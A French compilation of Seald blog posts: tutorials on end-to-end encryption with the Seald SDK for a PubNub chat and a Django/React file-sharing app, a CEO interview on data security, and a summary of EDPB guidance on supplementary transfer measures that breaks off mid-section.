    sealdSessionRef.current = await getSealdSDKInstance().retrieveEncryptionSession({ encryptedMessage : encryptedData })
    // maintenant que nous avons une session chargée, déchiffrons.
  }
  const decryptedData = await sealdSessionRef.current.decryptMessage(encryptedData)
  // nous avons décrypté le message avec succès
  return {
    ...m,
    uuid: m.uuid || m.publisher,
    value: decryptedData
  }
  /* Un peu de gestion des erreurs... */
}

/* Autre chose... */

const handleReceiveMessage = async m => {
  const. decryptedMessage = await decryptMessage(m)
  setState(draft => {
    draft.messages = [...draft.messages, decryptedMessage]
  })
}

Nous utilisons également cette fonction decryptMessage pour déchiffrer tous les messages déjà présents dans la session lors de l'ouverture d'une pièce :

/* frontend/src/components/Chat.js */

const fetchedMessages = (await pubnub.fetchMessages({chaînes : [currentRoomId] })).chaînes[currentRoomId])
const clearMessages = fetchedMessages ? await Promise.all(fetchedMessages.map(decryptMessage)) : []

Et maintenant, les fichiers. Pour télécharger un fichier :

/* frontend/src/components/UploadButton.js */

// Chiffrement du fichier
const encryptedBlob = await sealdSession.encryptFile(
  selectedFiles[0],
  selectedFiles[0].name,
  { fileSize: selectedFiles[0].size }
)
const encryptedFile = new File([encryptedBlob], selectedFiles[0].name)
// Téléchargement du fichier chiffré
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: encryptedFile,
  storeInHistory: false
})

Et pour déchiffrer un fichier :

/* frontend/src/components/Message.js */

const onClick = async () => {
  if (state.data.type === 'file') {
    const response = await fetch(state.data.url)
    const encryptedBlob = await response.blob()
    const { data: clearBlob, filename } = await sealdSession.decryptFile(encryptedBlob)
    const href = window.URL.createObjectURL(clearBlob)
    /* Create an <a> element and simulate a click on it to download the created objectURL */
  }
}

Gérer les membres du groupe 👨‍👩‍👦

Les chats de groupe auront aussi leur encryptionSession. À chaque fois qu'un groupe est créé, nous devons en créer une.

/* frontend/src/components/ManageDialogRoom.js.js */

// Pour créer l'encryptionSession
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: dialogRoom.selectedUsersId },
  { metadata: newRoomId }
)

Ensuite, à chaque fois que nous modifions les membres du groupe, nous devrons les ajouter ou les supprimer de celui-ci.

/* frontend/src/components/ManageDialogRoom.js.js */

// nous comparons les anciens et les nouveaux membres pour déterminer ceux qui viennent d'être ajoutés ou supprimés

const usersToRemove = dialogRoom.room.users.filter(id => !dialogRoom.selectedUsersId.includes(id))
const usersToAdd = dialogRoom.selectedUsersId.filter(id => !dialogRoom.room.users.includes(id))

if (usersToAdd.length > 0) {
  // pour chaque utilisateur ajouté, ajoutez-le à la session Seald
  await dialogRoom.sealdSession.addRecipients({ userIds: usersToAdd })
  // puis les ajouter au canal pubnub
  await pubnub.objects.setChannelMembers({
    channel: dialogRoom.room.id,
    uuids: usersToAdd
  })
}

if (usersToRemove.length > 0) {
  // pour chaque utilisateur supprimé, révoquez-le de la session Seald
  await dialogRoom.sealdSession.revokeRecipients({ userIds: usersToRemove })
  // puis les supprimer du canal pubnub
  for (const u of usersToRemove) {
    await pubnub.objects.removeMemberships({
      channels: [dialogRoom.room.id],
      uuid: u
    })
  }
}

Conclusion ✅

Et le tour est joué !

Nous avons réussi à intégrer Seald dans PubNub avec seulement quelques lignes de code.

Maintenant que le chat est chiffré de bout en bout, vous pouvez assurer à vos utilisateurs que leurs données resteront confidentielles, même en cas de fuites de données.

Comme toujours, n'hésitez pas à nous contacter si vous avez besoin de conseils supplémentaires.

Nous sommes impatients de voir ce que vous avez construit 🥳.

Ps : vous utilisez Stream plutôt que PubNub ? Voici un article qui explique commente intégrer Seald dans PubNub.

Le nombre d'appareils connectés et d'utilisateurs augmentant à chaque instant, la sécurisation de grandes quantités de données sensibles devient de plus en plus difficile.

Alors que de plus en plus d'aspects de notre vie se numérisent, de nombreuses entreprises et institutions fournissant des services en ligne peinent à garantir la sécurité des données de leurs utilisateurs. Bien sûr, la mise en place de mesures d'authentification de qualité ou le cryptage du réseau de l'organisation sont un bon début, mais qu'en est-il de l'utilisation du cryptage pour sécuriser les données sensibles des clients ?

Pour parler de l'importance du chiffrement en matière de sécurité des données, nous nous sommes entretenus avec Timothée Rebours, PDG de Seald, une société qui rend le chiffrement de bout en bout plus facile et plus accessible aux développeurs.

Comment est née l'entreprise Seald ? Quel a été votre parcours depuis votre lancement en 2016 ?

Le projet derrière Seald a été créé à Berkeley en 2015, suite à la rencontre de passionnés de cybersécurité et de hackers. La société a été constituée en France en 2016.

Seald a une mission : améliorer la sécurité et la vie privée de millions de personnes. Nous avons grandement évolué depuis le début du projet, et nous avons créé toute une série de produits au fil des ans, dont la plupart ont fini par être mis au rebut pour trouver notre positionnement actuel pour lequel notre product-market fit est là.

Chaque parcours est incroyable. L'équipe de Seald est passionnée et brillante ! Nous avons la chance de rencontrer des clients et prospects aux projets passionnants qui nous aident à construire Seald. Nous sommes extrêmement fiers de ce que nous avons construit grâce à eux.

Pouvez-vous nous présenter ce que vous faites ? Qu'est-ce que le chiffrement de bout en bout ?

Nous voulons aider les développeurs d'applications à protéger les données de leurs utilisateurs sans avoir besoin de compétences en cryptographie. L'intégration de Seald permet à l'entreprise de renforcer la confiance des clients, d'être en conformité et de minimiser les conséquences d'une fuite de données.

Le chiffrement de bout en bout est considéré comme la technologie qui offre le plus haut niveau de sécurité sur vos données, c'est pourquoi il est utilisé dans les applications de messagerie instantanée populaires.

En fait, il protège les données de telle sorte que personne, à l'exception des utilisateurs autorisés, ne puisse les lire, pas même les serveurs qui les hébergent ou le développeur de l'application (et pas même Seald, bien sûr).

À votre avis, quels sont les secteurs qui devraient être particulièrement préoccupés par le chiffrement de leurs données ?

Nous avons créé Seald pour les entreprises qui font de la sécurité des données une priorité stratégique.

Chaque secteur d'activité a ses propres défis en matière de sécurité des données : renforcer la confiance des clients, assurer la conformité, minimiser les conséquences d'une violation des données, etc.

Mais le secteur qui présente le plus d'enjeux en matière de sécurité des données est celui de la e-santé. Les données médicales sont parmi les plus sensibles (numéros de sécurité sociale, résultats de tests, rapports, ordonnances, etc.) car une violation de données dans ce domaine détruit la confiance de la marque et peut même conduire à une peine de prison.

Les entreprises de e-santé sont très attentives à répondre aux exigences réglementaires strictes en matière de données médicales et à assurer une confidentialité absolue des données sensibles qui leur sont confiées, notamment pour respecter le secret médical. Mais avec le passage aux applications SaaS pour les patients et les professionnels de la santé (que la crise du COVID a amplifié), une question se pose : comment assurer la sécurité des données dans le cloud ?

Il y a aussi la question de l'hégémonie des hébergeurs américains qui provoque des inquiétudes politiques et de conformité sur la souveraineté des données (au regard du GDPR notamment). Avec le chiffrement de bout en bout, vous pouvez vous assurer qu'aucun serveur n'a accès aux données, y compris un hébergeur basé aux États-Unis.

Avez-vous remarqué l'apparition de nouvelles menaces pendant la pandémie ?

Les ransomwares sont connus pour crypto-locker les données des victimes et de ne les déverrouiller que contre paiement d’une rançon. Une nouveauté est apparue ces dernières années : les criminels volent désormais les données et menacent de les divulguer si la rançon n'est pas payée.

Cela met encore plus en évidence la question du chiffrement de bout en bout : si les serveurs ne peuvent pas lire les données, aucune données de peut être divulguée.

Une autre chose que nous avons observée (comme tout le monde) est un passage massif aux solutions numériques en Cloud, dont certaines sont vraiment bancales parce qu'elles ont été développées rapidement pour répondre à la demande croissante.

Quelles mesures chacun doit-il mettre en œuvre pour se protéger de ces menaces émergentes ?

Pendant des années, le moyen privilégié de protéger une infrastructure informatique consistait à établir une protection périmétrique, en construisant de grands murs autour des systèmes d'information, afin qu'un attaquant ne puisse pas y pénétrer. L'idée était de placer tout ce qui était sensible à l'intérieur de ce périmètre. Sauf qu'il est désormais presque impossible de protéger (ou même de définir) le périmètre, car tout est étroitement imbriqué.

Une autre façon de voir la sécurité est la sécurité dès la conception ou le zero-trust. L'objectif est de rendre les conséquences d'une attaque sur n'importe quelle partie des systèmes informatiques aussi insignifiante que possible.

Concernant la protection des données, l'idée principale est de mettre en œuvre le principe du moindre privilège. Grossièrement, cela signifie qu'il faut ajouter un chiffrement à chaque donnée et ne donner les clés de déchiffrement qu'aux utilisateurs ou entités autorisés à lire les données. Dans la plupart des cas d'utilisation, il s'agit d'un chiffrement de bout en bout associé à un chiffrement au repos à granularité fine.

Quelles sont, selon vous, les menaces les plus graves qui pèsent aujourd'hui sur les applications web ?

Si l'on regarde le top 10 de l'OWASP, les deux premiers points en 2021 sont la rupture du contrôle d'accès et l'absence de mise en œuvre correcte de la cryptographie.

Chez Seald, le contrôle d'accès est renforcé par des mesures cryptographiques afin de garantir que, même si une ressource peut être lue par un attaquant, celui-ci devra la décrypter.

Notre code a fait l'objet d'un examen approfondi et indépendant afin de nous assurer que nous n'avons commis aucune erreur et que nos utilisateurs n'ont pas à se soucier des subtilités de la mise en œuvre de la cryptographie.

Pourriez-vous nous faire part des bonnes pratiques que les organisations devraient adopter pour protéger les données de leurs employés et de leurs clients ?

La première meilleure pratique consiste à prendre en compte la sécurité des données dès la conception de tout flux de traitement des données. Lorsqu'il est conçu, il est trop tard.

Le deuxième conseil est de faire preuve d'humilité et d'organiser des formations à la sécurité à la fois pour les développeurs afin qu'ils apprennent les meilleures pratiques de développement et pour tous les employés afin qu'ils détectent le phishing, etc.

Le troisième conseil à donner lors du développement d'un logiciel est le suivant :

• Ne laissez pas quelque chose dont on sait qu'il n'est pas sûr être déployé en production (gestion des mots de passe, génération aléatoire, etc.),
• Testez tout de manière unitaire et E2E (vérifiez la couverture du code),
• Faire des revues systématiques et approfondies de code avant de merger dans la branche principale,
• Tester avant de mettre en production.

En parlant de l'avenir, quelles sont vos prédictions concernant le paysage de la sécurité des données pour les années à venir ?

Tout finira par être déplacé vers le cloud plutôt que sur site, et la question de la sécurité dans le Cloud, qui est déjà dans tous les esprits, deviendra encore plus stratégique, car les violations de données seront de plus en plus fréquentes.

En outre, les petites entreprises seront soumises à une pression accrue pour sécuriser les données (tant en termes de confidentialité que de disponibilité), même à un stade très précoce.

Et enfin, que réserve l'avenir à Seald ?

Nous nous attachons à aider les développeurs à protéger les données de leurs utilisateurs par un chiffrement de bout en bout, mais cela peut être limitatif car tout ne peut pas être chiffré de cette manière. Nous allons très certainement diversifier nos produits pour nous attaquer à d'autres cas d'utilisation.

Si vous voulez directement manipuler le projet final, vous pourrez le trouver sur notre dépot Github seald/sdk-upload-example, avec les instructions pour le lancer sur Docker. Attention, il s'agit ici d'un projet didactique, venant sans garantie et nécessitant certaines améliorations pour pouvoir être utilisé en production.

Une application de partage de fichiers chiffrés de bout-en-bout

Des applications de partage de fichiers, il en existe énormément (WeTransfer, OneDrive, Dropbox, ...). Cependant, comment ces plateformes assurent-elles là confidentialité des données qui y transitent ?

Naïvement, les fichiers sont directement copiés sur les serveurs. Usuellement les mesures de sécurisation mises en places sont principalement sur le transfert (en utilisant SSL/TLS pour HTTPS). Néanmoins, le fichier, une fois acheminé au serveur est souvent stocké "en clair". Ainsi, un développeur ou administrateur système pourrait les lire. Mais également une personne malveillante (un hacker par exemple) ayant mis à mal la sécurité de l'application (cela fait notamment echo à la récente vulnérabilité trouvée dans Log4j).

Il existe une technologie qui permet de répondre à cette problématique :
le chiffrement de bout-en-bout. Elle permet de sécuriser cryptographiquement un fichier, afin que seules les personnes autorisées puissent lire les fichiers. Cela passe par la génération de paires de clés de chiffrement / déchiffrement sur les appareils des utilisateurs, ce qui peut être une tache très ardue pour un développeur, aussi bien en terme de difficulté que de risque de sécurité. Seald SDK (certifiée par l'ANSSI) permet justement de faire abstraction de cette complexité et d'utiliser une bibliothèque cryptographique très simplement.

Dans cet article, nous verrons comment implémenter le chiffrement de bout-en-bout dans une application de transfert de fichiers.

En choix de technologie :

• Coté backend, nous utiliserons Django et django-rest-framework ;
• Coté frontend, nous utiliserons du JavaScript avec React.

Ce guide est "haut niveau", l'intégralité du code est très simple à transposer dans d'autres langages, tant que la partie cliente (frontend ici) peut exécuter du JavaScript.

Cahier des charges de l'application

L'application d'exemple choisie pour ce guide sera donc une page d'envoi / reception de fichiers.

Le workflow de l'application est le suivant :

• Une personne peut s'inscrire sur l'application ;
• Une autre personne (pas nécessairement inscrite) peut envoyer un fichier à un destinataire inscrit ;
• Un utilisateur authentifié peut lister les fichiers qu'il a reçus et les télécharger.

Le développement d'une telle application n'est pas l'objet de ce guide. Nous nous intéresserons uniquement aux spécificités liées au chiffrement de bout-en-bout des fichiers à leur envoi et à leur téléchargement.

Ainsi à la fin de ce guide :

• L'identité cryptographique d'un utilisateur sera créée à son inscription ;
• Les fichiers transmis au serveur seront chiffrés uniquement pour l'utilisateur destinataire dudit fichier ;
• L'utilisateur destinataire pourra déchiffrer et télécharger ses fichiers.

Le tout, de façon complétement transparente à chaque niveau du workflow initial.

Création d'un projet sur Seald

Afin de pouvoir utiliser Seald SDK, il faut tout d'abord créer un compte afin de pouvoir générer des clés d'API. Pour ce faire, il suffit de s'inscrire sur la page de création de compte. Et différentes clés d'API seront générées à l'inscription (nous les appellerons SEALD_APP_ID, SEALD_VALIDATION_KEY_ID et SEALD_VALIDATION_KEY).

Une fois ces clés d'API générées, il est aussi recommandé de générer un jeton d'accès personnel, permettant de manipuler le dashboard via l'API. Pour ce faire, il faut aller dans les paramètres du dashboard, dans l'onglet "Jetons d'accès personnels", et d'en créer un.

Ce jeton va permettre de créer un secret partagé entre le backend de notre application et Seald, afin de pouvoir générer des licences pour les utilisateurs.

Pour générer un secret partagé, il faut utiliser la commande fournie dans la documentation :

curl -X POST https://dashboard.seald.io/dashboardapi/v2/jwtsharedsecret/ \
  -H 'X-DASHBOARD-API-KEY: VOTRE_JETON_D_ACCES' \
  -H 'Content-Type: application/json' \
  --data-raw '{"permissions": [-1]}'

A l'issue de cette commande, nous pouvons récupérer id et shared_secret (que nous appellerons
SEALD_JWT_SHARED_SECRET_ID et SEALD_JWT_SHARED_SECRET).

Nous avons donc les clés d'API et jetons suivants:

• SEALD_APP_ID
• SEALD_VALIDATION_KEY_ID
• SEALD_VALIDATION_KEY
• SEALD_JWT_SHARED_SECRET_ID
• SEALD_JWT_SHARED_SECRET

Ils seront nécessaires dans la suite de ce guide.

Génération d'une identité cryptographique à l'inscription

Lorsque l'on souhaite intégrer du chiffrement de bout-en-bout dans une application, la première chose à faire, dans le workflow complet, est de générer des clés cryptographiques pour l'utilisateur lors de son inscription.

Ces clés permettent :

• lorsque l'on souhaite envoyer un document à un utilisateur, à utiliser la partie "publique" de ces clés pour sécuriser le document ;
• lorsque l'utilisateur souhaite déchiffrer un document, d'utiliser la partie "privée" de la clé.

La difficulté, lorsque l'on implémente soi-même ces fonctionnalités, est d'intégrer :

• le stockage des clés privées hors du périmètre de l'application ;
• le renouvellement des clés.

L'avantage, en utilisant Seald, est que tous ces mécanismes de sécurité sont installés dans la bibliothèque sans avoir à se préoccuper de leur implémentation !

L'ensemble de ces clés est appelé une identité cryptographique.

Pour générer l'identité cryptographique, il faut intégrer plusieurs allers-retours entre le backend et le frontend. Cette génération s'articule schématiquement comme suit :

• Le backend génère un jeton de licence Seald SDK et l'envoie au frontend ;
• Le frontend génère l'identité cryptographique ;
• Le frontend envoie l'identifiant Seald au backend.

Génération du jeton de licence Seald SDK

Coté backend, pour générer un jeton de licence, nous avons besoin de SEALD_APP_ID, SEALD_VALIDATION_KEY et
SEALD_VALIDATION_KEY_ID.

À partir de ces informations, un scrypt permet de générer un jeton de
licence.

Ici, nous générons le jeton de licence de l'utilisateur à partir de l'id de l'utilise (self.id) en python.

def get_user_license_token(self):
    seald_app_id = os.environ.get("SEALD_APP_ID")
    seald_validation_key = os.environ.get("SEALD_VALIDATION_KEY")
    seald_validation_key_id = os.environ.get("SEALD_VALIDATION_KEY_ID")
    nonce = secrets.token_bytes(32).hex()
    token = hashlib.scrypt(
        f"{self.id}@{seald_app_id}-{seald_validation_key}".encode(),
        salt=nonce.encode(),
        n=16384,
        r=8,
        p=1,
    ).hex()
    return f"{seald_validation_key_id}:{nonce}:{token}"

Il suffit donc d'envoyer cette information à l'inscription de l'utilisateur.

Génération de l'identité cryptographique

A partir du user_license_token précédement généré, nous pouvons générer l'identité cryptographique de l'utilisateur sur le frontend avec le code JavaScript suivant :

import SealdSDK from '@seald-io/sdk-web'
import SealdSDKPluginSSKSPassword from '@seald-io/sdk-plugin-ssks-password'

const appId = '{SEALD_APP_ID}'

const  seald = SealdSDK({ appId, plugins: [SealdSDKPluginSSKSPassword()] })

const sealdInitiateIdentity = async (userId, userLicenseToken, password) => {
  await seald.initialize()
  await seald.initiateIdentity({ userId, userLicenseToken })
  await seald.ssksPassword.saveIdentity({ userId, password })
  return (await seald.getCurrentAccountInfo()).sealdId
}

A noter que password est ici utilisé comme secret pour sécuriser les clés privées de l'utilisateur. En utilisant directement le mot de passe de l'utilisateur (normalement connu par le frontend à l'inscription ou à la connexion), le backend et l'identité Seald sont protégés par le même secret.

Afin qu'une compromission du backend ne mène pas à une compromission de l'identité Seald, il conviendra de changer la méthode d'authentification au backend afin de d'envoyer uniquement une dérivation du mot de passe au backend, et plus le mot de passe tel quel. Cela n'est pas fait dans ce projet d'initiation. Des informations à ce sujet sont disponibles sur la documentation de Seald.

Sauvegarde de l'identifiant Seald

Le backend aura ensuite besoin de l'identifiant Seald de l'utilisateur, afin de permettre aux autres utilisateurs de retrouver les identités cryptographiques publiques.

Pour cela, deux solutions existent: soit le backend retrouve l'identifiant à partir de l'identité donnée dans le jeton de licence, soit l'utilisateur l'envoie au backend une fois l'identité créée. C'est ce que nous avons choisi pour ce guide.

La fonction précedente (sealdInitiateIdentity) renvoi le sealdId, il suffit donc de l'envoyer au backend :

const userUpdateSealdId = async (sealdId) => {
  return fetch(
    '/api/users/update_seald_id/',
    method='POST',
    body=JSON.stringify({seald_id: sealdId}))
}

Et de le récupérer sur le backend:

class User(models.Model):
    [...]
    def update_seald_id(self, seald_id):
        self.seald_id = seald_id
        self.save()

class UserView(viewsets.ViewSet):
    [...]
    @action(methods=["POST"], detail=False)
    def update_seald_id(self, request):
        [...]
        user = get_object_or_404(User, django_user=request.user)
        user.update_seald_id(serializer.validated_data["seald_id"])
        return Response([...])

Récupération de l'identité cryptographique à la connexion

Le chapitre précédent permet d'initialiser la variable seald avec une création d'identité cryptographique à l'inscription. Néanmoins, lorsque l'utilisateur se connecte, il est également nécessaire de pouvoir initialiser la variable seald, non pas en créant une identité, mais en récupérant celle créée à l'inscription.

Pour ce faire, il suffit d'ajouter sur le frontend, lors d'une authentification réussie, le chargement de l'identité cryptographique :

const sealdRetrieveIdentity = async (userId, password) => {
  await seald.initialize()
  await seald.ssksPassword.retrieveIdentity({ userId, password })
}

Même remarque que précédemment concernant password, il est utilisé comme secret pour sécuriser les clés privées de l'utilisateur. Bien qu'il soit possible d'utiliser directement le mot de passe de l'utilisateur (normalement connu par le frontend à la connexion), il est recommandé d'utiliser une dérivation (par exemple avec PBKDF2).

Attention cependant. Il est possible, dans de nombreux cas, de ne pas avoir le password de disponible au chargement du frontend :

• Utilisateur déjà authentifié, qui possède une session sur le backend ;
• Application qui n'est pas une SPA ;
• Authentification déportée (ex: OAuth).

Dans ce cas, une solution peut être d'utiliser une base de données locale persistante ou ce que l'on appel du 2-man rule (qui n'est pas trictement du chiffrement de bout-en-bout, mais aussi proche que possible tout en "autorisant" un utilisateur à oublier son mot de passe).

Chiffrement d'un fichier à l'envoi au serveur

Une fois l'identité cryptographique d'un utilisateur créée, il sera possible de la retrouver afin de permettre à un autre utilisateur de l'utiliser afin de chiffrer des documents.

Reprenons notre application d'upload. Dans notre cas, on souhaite que n'importe qui (même un utilisateur non authentifié) puisse envoyer un fichier à quelqu'un d'inscrit. Nous utiliserons donc le Chiffrement Anonyme.

Pour l'utiliser il suffit d'envoyer au serveur le .stream() (ou .blob()) du fichier, préalablement chiffré avec la fonction AnonymousSDK.encrypt().

Afin de chiffrer un message de façon anonyme, l'utilisateur à besoin :

• De l'identité Seald de la personne à qui le fichier doit être envoyé ;
• D'un encryptionToken générable par le serveur.

Ainsi, coté backend :

seald_app_id = os.environ.get("SEALD_JWT_SHARED_SECRET_ID")
seald_validation_key = os.environ.get("SEALD_JWT_SHARED_SECRET")

def generate_encryption_token(user_seald_id):
    jwt_token = jwt.encode(
        {
            "iss": seald_app_id,
            "iat": datetime.now(),
            "scopes": [-1],
            "recipients": [user_seald_id],
            "owner": user_seald_id,
        },
        seald_validation_key,
        algorithm="HS256",
    )
    return jwt_token

class UploadView(viewsets.ViewSet):
    [...]
    def create(self, request):
        [...]
        return Response(
                "encryption_token": generate_encryption_token(user.seald_id),
            }
        )

Et coté frontend :

const anonymousSDK = AnonymousSDKBuilder({})
const { encryptionToken } = await fetch(
  '/api/uploads/',
  method='POST',
  body=JSON.stringify({email: userEmail})
)
const { encryptedFile } = await anonymousSDK.encrypt({
  encryptionToken: encryptionToken,
  sealdIds: [sealdId],
  clearFile: f,
  filename: f.name
})
const reader = encryptedFile.stream().getReader()
await upload(reader)

(Note: de nombreux détails ont été simplifiés pour l'illustration, pour un code complet, veuillez vous référer au dépot Github).

Le fichier uploadé (lu par le stream encryptedFile.stream()) sera chiffré. Uniquement l'utilisateur sealdId pourra le lire via son identité cryptographique privée. Ni le serveur, ni un hackeur, ni personne d'autre ne sera en mesure de le lire.

Déchiffrement d'un fichier sur l'espace d'un utilisateur

Une fois le fichier chiffré et stocké sur le serveur. L'utilisateur destinataire souhaite maintenant le lire.

A partir du moment où la variable seald est initialisée (que ce soit via création d'identité ou authentification), il est possible d'utiliser seald.decryptFile().

Ainsi, pour faire télécharger le fichier à l'utilisateur, au lieu de lui faire un lien avec l'url du fichier à télécharger, il faudra préalablement le déchiffrer. Pour cela, on effectue les opérations suivantes coté frontend :

const downloadBlob = await fetch(uploadUrl)
const decryptedStream = await sealdDecryptFile(await downloadBlob.blob())

La variable decryptedStream contient le contenu du fichier en clair ! Pour le proposer au téléchargement à l'utilisateur, il suffit de créer un lien (invisible) avec le contenu du fichier en ObjectUrl et de simuler un click dessus :

const url = window.URL.createObjectURL(decryptedStream)
const a = document.createElement('a')
a.style = 'display: none'
a.href = url
a.download = upload.filename
a.click()
window.URL.revokeObjectURL(url)

(Une méthode plus propre pour faire ainsi peut également d'utiliser une bibliothèque dédié telle que FileSaver.js).

Projet final

Code source

Le code source est récupérable sur le dépot Github seald/sdk-upload-example

Inscription

Envoi de fichier

Récupération de fichier

Contenu des fichiers

• Fichier chiffré, stocké sur le serveur
• Fichier déchiffré, côté client

Contexte 🎙

Recommendations 01/2020 on measures that supplement transfer tools to ensure compliance with the EU level of protection of personal data | European Data Protection Board

European Data Protection Board

Le 16 juillet 2020, la Cour de Justice de l'Union européenne invalidait le Privacy Shield, jugeant que les lois de renseignement américaines contreviennent au RGPD.

Depuis cette date, il est donc illégal de sous-traiter auprès d'une entreprise opérant ou sous-traitant tout ou partie de son activité au États-Unis sans signer des Standard Contractual Clauses et sans mettre en œuvre des mesures supplémentaires.

N'hésitez pas à lire notre article dédié sur le sujet : Cloud Act, FISA, ... pourquoi le Privacy Shield a été invalidé ?

L'EDPB avait publié en novembre 2020 une première version de recommandations sur ces mesures supplémentaires, et après consultation publique, ils viennent d'émettre la version définitive :

NB : cet article n'a que vocation à vulgariser les recommandations officielles, et ne les remplace d'aucune façon, référez-vous au document original pour vous assurer de votre conformité 👍.

Méthodologie 🤓

L'EDPB a établi une méthodologie pour adopter les mesures supplémentaires adéquates :

1. Connaître ses transferts ➡ : bien qu'évident à dire, il y a quelques subtilités :
   • certains sous-traitants européens stockant les données dans l'Espace Économique Européen laissent parfois un accès aux données à des pays tiers (à des fins de support), cela constitue alors un transfert ;
   • certains transferts peuvent être injustifiés au titre du principe de minimisation.
2. Valider la licéité du transfert ✅ : le transfert doit être autorisé par un des articles du chapitre V :
   • Article 45 : les transferts vers certaines zones géographiques (comme l'Argentine, la Nouvelle-Zélande ou le Japon, mais plus les États-Unis) sont autorisés sur le principe d'une adéquation des garanties fournies dans cette zone avec le RGPD.
   • Article 46 : si une adéquation n'est pas déclarée par la Commission Européenne, il faut utiliser des Clauses Types de protection des données (Standard Contractual Clauses) comme outil juridique de transfert ;
   • Article 49 : certains transferts exceptionnels sont par dérogation autorisés vers des pays n'offrant aucune garantie, mais ne peuvent en aucun cas constituer la norme ;
3. Évaluer la législation du pays d'exportation ⚖️ : c'est au responsable de traitement de prouver que le transfert de données assure l'application effective des Clauses Types compte tenu de la législation locale. Si ces garanties ne peuvent être assurées, il faut soit :
   • cesser le transfert ;
   • mettre en place des "mesures supplémentaires" pour obtenir des garanties adéquates. Typiquement aux États-Unis, FISA Section 702 contrevient aux Clauses Types (ce qui est la raison de l'invalidation du Privacy Shield), il faut donc mettre en œuvre des mesures supplémentaires.
4. Mettre en œuvre des mesures supplémentaires ➕ : l'objectif de ces mesures est d'atteindre un niveau de garantie effectif sur les données transférées équivalent à une sous-traitance intra-EEE (Espace Économique Européen). Si aucune combinaison de mesures supplémentaires ne permet d'atteindre cette garantie, il faut cesser le transfert.

Mesures supplémentaires 💪

L'EDPB ne donne pas de liste exhaustive de mesures supplémentaires, elle laisse le soin à chaque exportateur de trouver les mesures adéquates selon les données, le traitement et le pays d'exportation.

Elle donne malgré tout des exemples que nous allons étudier :

🟢 Stockage de données sans besoin d'accéder aux données en clair ;
🟢 Transfert de données pseudonymisées ;
🟢 Chiffrement de données pour les protéger contre une écoute en transit hors EEE (Espace Économique Européen);
🟢 Destinataire protégé ;
🟢 Secret réparti ou multi-party computation.

Stockage de données sans besoin d'accéder aux données en clair ❌

Si vous souhaitez stocker des données chez un sous-traitant hors de l'EEE et que celui n'a pas besoin d'accéder aux données, l'EDPB propose de partir du principe que ce sous-traitant est malveillant en matière de confidentialité et d'intégrité des données parce que les autorités du pays dans lequel il opère peuvent essayer de lire ou d'altérer les données hébergées.

Cela n'empêche pas de lui faire confiance en matière de disponibilité des données : on peut au moment où on en a besoin récupérer les données auprès du sous-traitant et les déchiffrer avec la clé qu'il n'a pas.

Pour ce faire, voici le détail des mesures supplémentaires à adopter :

1. les données personnelles sont chiffrées avant envoi au sous-traitant ;
2. l'algorithme de chiffrement, ses paramètres et la gestion de clés sont conformes à l'état de l'art et considérés robustes face aux capacités d'attaque, de cryptanalyse et de calcul des autorités du pays d'importation et dimensionnées correctement compte tenu de la durée pendant laquelle les données doivent rester illisibles par les autorités du pays d'importation ;
3. l'algorithme de chiffrement est implémenté correctement, par des logiciels correctement maintenus et sans vulnérabilité connue, dont la conformité à la spécification de l'algorithme choisi a été vérifiée, par exemple, par certification ;
4. les clés sont conservées uniquement sous le contrôle de l'exportateur de données, ou par une entité à laquelle l'exportateur fait confiance dans l'EEE ou dans une juridiction offrant un niveau de protection essentiellement équivalent à celui garanti dans l'EEE.

Attention : utiliser un HSM, un KMS ou du BYOK déléguant le stockage, le contrôle ou l'utilisation de la clé au sous-traitant hors de l'EEE n'est pas une mesure supplémentaire suffisante 👎.

Transfert de données pseudonymisées 🕵️

Si vous souhaitez analyser des données chez un sous-traitant hors de l'EEE, et que vous n'avez besoin que d'une partie des données pour l'analyse, en particulier pas les données identifiantes, vous pouvez alors procéder à une pseudonymisation rigoureuse, puis effectuer le transfert des seules données pseudonymisées.

Plus précisément, voici les conditions requises pour que cela puisse être considéré comme une mesure supplémentaire efficace :

1. la pseudonymisation doit être effectuée conformément à l'article 4(5) du RGPD, en particulier, il ne doit pas être possible d'attribuer des données pseudonymisées aux personnes auxquelles elles correspondent sans utiliser une table de pseudonymisation ;
2. la table de pseudonymisation et son utilisation pour ré-identifier les personnes doit rester contrôlée par l'exportateur par des mesures techniques (comme du chiffrement) et organisationnelles ;
3. si une mesure de chiffrement est utilisée pour assurer le contrôle de la table de pseudonymisation, cette mesure doit être implémentée avec les mêmes précautions qu'une sauvegarde sécurisée étudiée précédemment ;
4. l'exportateur a établi par une analyse profonde des données pseudonymisées que celles-ci ne peuvent être ré-identifiées, ce même en utilisant des sources ouvertes ou des sources fermées disponibles des autorités du pays de destination.

Chiffrement de données pour les protéger contre une écoute en transit hors EEE 👂

Dans beaucoup de cas, on doit faire transiter, y compris par Internet, des données au travers de pays dont la législation les autorise à tenter d'en lire le contenu.

Pour cela, des techniques de chiffrement en transit robustes doivent être mises en œuvre, en particulier :

1. les algorithmes de chiffrement, leurs paramètres et leur gestion de clés sont conformes à l'état de l'art et considérés robustes face aux capacités d'attaque, de cryptanalyse et de calcul des autorités du pays d'exportation et dimensionnées correctement compte tenu de la durée pendant laquelle les données doivent rester illisibles par les autorités du pays d'exportation ;
2. une autorité ou infrastructure de certification sûre est choisie par les parties ;
3. des mesures proactives et à l'état de l'art (comme des tests de vulnérabilités / backdoors) sont utilisées pour se défendre d'attaques actives et passives sur les systèmes fournissant du chiffrement en transit ;
4. si le chiffrement en transit au niveau de l'infrastructure est insuffisant (parce qu'il laisserait la capacité à un tiers d'écouter le flux), il est complété de chiffrement de bout-en-bout (au moins entre client et serveur) au niveau applicatif ;

Destinataire protégé 🔒

Dans certains cas spécifiques, la législation du pays tiers peut protéger le secret de certaines données pour certaines professions et dans certains cas (par exemple, dans le cas du secret médical ou du secret professionnel de l'avocat).

Dans ces cas-là, l'EDPB considère le transfert conforme à condition que :

1. la législation du pays tiers assure le secret des données à l'importateur sous-traitant des données dans le cas de ce transfert, et cette assurance s'étend aux clés de chiffrement et autres moyens permettant d'accéder aux informations soumises à ce secret ;
2. le sous-traitant s'assure que ses propres sous-traitants ont la même assurance légale ;
3. les données sont chiffrées avant envoi et déchiffrées seulement par l'importateur sous-traitant au moyen de chiffrement de bout-en-bout garantissant que la clé n'est pas accessible par d'autres entités que l'importateur sous-traitant (et éventuellement de l'exportateur).

Secret réparti ou multi-party computation 🤐

